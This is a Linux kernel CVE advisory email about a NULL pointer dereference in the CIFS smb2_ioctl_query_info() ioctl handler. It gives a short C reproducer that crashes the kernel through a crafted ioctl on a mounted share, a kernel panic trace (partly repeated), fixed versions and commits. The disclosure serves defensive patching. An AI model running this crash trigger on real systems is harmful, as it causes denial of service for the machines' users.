| From bippy-5f407fcff5a0 Mon Sep 17 00:00:00 2001 |
| From: Greg Kroah-Hartman <gregkh@linuxfoundation.org> |
| To: <linux-cve-announce@vger.kernel.org> |
| Reply-to: <cve@kernel.org>, <linux-kernel@vger.kernel.org> |
| Subject: CVE-2022-49271: cifs: prevent bad output lengths in smb2_ioctl_query_info() |
| |
| Description |
| =========== |
| |
| In the Linux kernel, the following vulnerability has been resolved: |
| |
| cifs: prevent bad output lengths in smb2_ioctl_query_info() |
| |
| When calling smb2_ioctl_query_info() with |
| smb_query_info::flags=PASSTHRU_FSCTL and |
| smb_query_info::output_buffer_length=0, the following would return |
| 0x10 |
| |
| buffer = memdup_user(arg + sizeof(struct smb_query_info), |
| qi.output_buffer_length); |
| if (IS_ERR(buffer)) { |
| kfree(vars); |
| return PTR_ERR(buffer); |
| } |
| |
| rather than a valid pointer thus making IS_ERR() check fail. This |
| would then cause a NULL ptr deference in @buffer when accessing it |
| later in smb2_ioctl_query_ioctl(). While at it, prevent having a |
| @buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO |
| FileEndOfFileInformation requests when |
| smb_query_info::flags=PASSTHRU_SET_INFO. |
| |
| Here is a small C reproducer which triggers a NULL ptr in @buffer when |
| passing an invalid smb_query_info::flags |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <stdint.h> |
| #include <unistd.h> |
| #include <fcntl.h> |
| #include <sys/ioctl.h> |
| |
| #define die(s) perror(s), exit(1) |
| #define QUERY_INFO 0xc018cf07 |
| |
| int main(int argc, char *argv[]) |
| { |
| int fd; |
| |
| if (argc < 2) |
| exit(1); |
| fd = open(argv[1], O_RDONLY); |
| if (fd == -1) |
| die("open"); |
| if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1) |
| die("ioctl"); |
| close(fd); |
| return 0; |
| } |
| |
| mount.cifs //srv/share /mnt -o ... |
| gcc repro.c && ./a.out /mnt/f0 |
| |
| [ 114.138620] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI |
| [ 114.139310] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] |
| [ 114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1 |
| [ 114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014 |
| [ 114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs] |
| [ 114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24 |
| [ 114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256 |
| [ 114.142692] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d |
| [ 114.143119] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380 |
| [ 114.143544] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003 |
| [ 114.143983] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288 |
| [ 114.144424] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000 |
| [ 114.144852] FS: 00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000 |
| [ 114.145338] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 |
| [ 114.145692] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0 |
| [ 114.146131] Call Trace: |
| [ 114.146291] <TASK> |
| [ 114.146432] ? smb2_query_reparse_tag+0x890/0x890 [cifs] |
| [ 114.146800] ? cifs_mapchar+0x460/0x460 [cifs] |
| [ 114.147121] ? rcu_read_lock_sched_held+0x3f/0x70 |
| [ 114.147412] ? cifs_strndup_to_utf16+0x15b/0x250 [cifs] |
| [ 114.147775] ? dentry_path_raw+0xa6/0xf0 |
| [ 114.148024] ? cifs_convert_path_to_utf16+0x198/0x220 [cifs] |
| [ 114.148413] ? smb2_check_message+0x1080/0x1080 [cifs] |
| [ 114.148766] ? rcu_read_lock_sched_held+0x3f/0x70 |
| [ 114.149065] cifs_ioctl+0x1577/0x3320 [cifs] |
| [ 114.149371] ? lock_downgrade+0x6f0/0x6f0 |
| [ 114.149631] ? cifs_readdir+0x2e60/0x2e60 [cifs] |
| [ 114.149956] ? rcu_read_lock_sched_held+0x3f/0x70 |
| [ 114.150250] ? __rseq_handle_notify_resume+0x80b/0xbe0 |
| [ 114.150562] ? __up_read+0x192/0x710 |
| [ 114.150791] ? __ia32_sys_rseq+0xf0/0xf0 |
| [ 114.151025] ? __x64_sys_openat+0x11f/0x1d0 |
| [ 114.151296] __x64_sys_ioctl+0x127/0x190 |
| [ 114.151549] do_syscall_64+0x3b/0x90 |
| [ 114.151768] entry_SYSCALL_64_after_hwframe+0x44/0xae |
| [ 114.152079] RIP: 0033:0x7f7aead043df |
| [ 114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <41> 89 c0 3d 00 f0 ff ff 77 1f 48 8b 44 24 18 64 48 2b 04 25 28 00 |
| [ 114.153431] RSP: 002b:00007ffc2e0c1f80 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 |
| [ 114.153890] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f7aead043df |
| [ 114.154315] RDX: 00007ffc2e0c1ff0 RSI: 00000000c018cf07 RDI: 0000000000000003 |
| [ 114.154747] RBP: 00007ffc2e0c2010 R08: 00007f7aeae03db0 R09: 00007f7aeae24c4e |
| [ 114.155192] R10: 00007f7aeabf7d40 R11: 0000000000000246 R12: 00007ffc2e0c2128 |
| [ 114.155642] R13: 0000000000401176 R14: 0000000000403df8 R15: 00007f7aeae57000 |
| [ 114.156071] </TASK> |
| [ 114.156218] Modules linked in: cifs cifs_arc4 cifs_md4 bpf_preload |
| [ 114.156608] ---[ end trace 0000000000000000 ]--- |
| [ 114.156898] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs] |
| [ 114.157792] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24 |
| [ 114.159293] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256 |
| [ 114.159641] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d |
| [ 114.160093] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380 |
| [ 114.160699] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003 |
| [ 114.161196] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288 |
| [ 114.155642] R13: 0000000000401176 R14: 0000000000403df8 R15: 00007f7aeae57000 |
| [ 114.156071] </TASK> |
| [ 114.156218] Modules linked in: cifs cifs_arc4 cifs_md4 bpf_preload |
| [ 114.156608] ---[ end trace 0000000000000000 ]--- |
| [ 114.156898] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs] |
| [ 114.157792] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24 |
| [ 114.159293] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256 |
| [ 114.159641] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d |
| [ 114.160093] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380 |
| [ 114.160699] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003 |
| [ 114.161196] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288 |
| [ 114.161823] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000 |
| [ 114.162274] FS: 00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000 |
| [ 114.162853] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 |
| [ 114.163218] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0 |
| [ 114.163691] Kernel panic - not syncing: Fatal exception |
| [ 114.164087] Kernel Offset: disabled |
| [ 114.164316] ---[ end Kernel panic - not syncing: Fatal exception ]--- |
| |
| The Linux kernel CVE team has assigned CVE-2022-49271 to this issue. |
| |
| |
| Affected and fixed versions |
| =========================== |
| |
| Fixed in 5.10.110 with commit 9963ccea6087268e1275b992dca5d0dd4b938765 |
| Fixed in 5.15.33 with commit f143f8334fb9eb2f6c7c15b9da1472d9c965fd84 |
| Fixed in 5.16.19 with commit fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53 |
| Fixed in 5.17.2 with commit 7529fbee10d82493c5cb109e51788bf74816d1c0 |
| Fixed in 5.18 with commit b92e358757b91c2827af112cae9af513f26a3f34 |
| |
| Please see https://www.kernel.org for a full list of currently supported |
| kernel versions by the kernel community. |
| |
| Unaffected versions might change over time as fixes are backported to |
| older supported kernel versions. The official CVE entry at |
| https://cve.org/CVERecord/?id=CVE-2022-49271 |
| will be updated if fixes are backported, please check that for the most |
| up to date information about this issue. |
| |
| |
| Affected files |
| ============== |
| |
| The file(s) affected by this issue are: |
| fs/cifs/smb2ops.c |
| |
| |
| Mitigation |
| ========== |
| |
| The Linux kernel CVE team recommends that you update to the latest |
| stable kernel version for this, and many other bugfixes. Individual |
| changes are never tested alone, but rather are part of a larger kernel |
| release. Cherry-picking individual commits is not recommended or |
| supported by the Linux kernel community at all. If however, updating to |
| the latest release is impossible, the individual changes to resolve this |
| issue can be found at these commits: |
| https://git.kernel.org/stable/c/9963ccea6087268e1275b992dca5d0dd4b938765 |
| https://git.kernel.org/stable/c/f143f8334fb9eb2f6c7c15b9da1472d9c965fd84 |
| https://git.kernel.org/stable/c/fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53 |
| https://git.kernel.org/stable/c/7529fbee10d82493c5cb109e51788bf74816d1c0 |
| https://git.kernel.org/stable/c/b92e358757b91c2827af112cae9af513f26a3f34 |
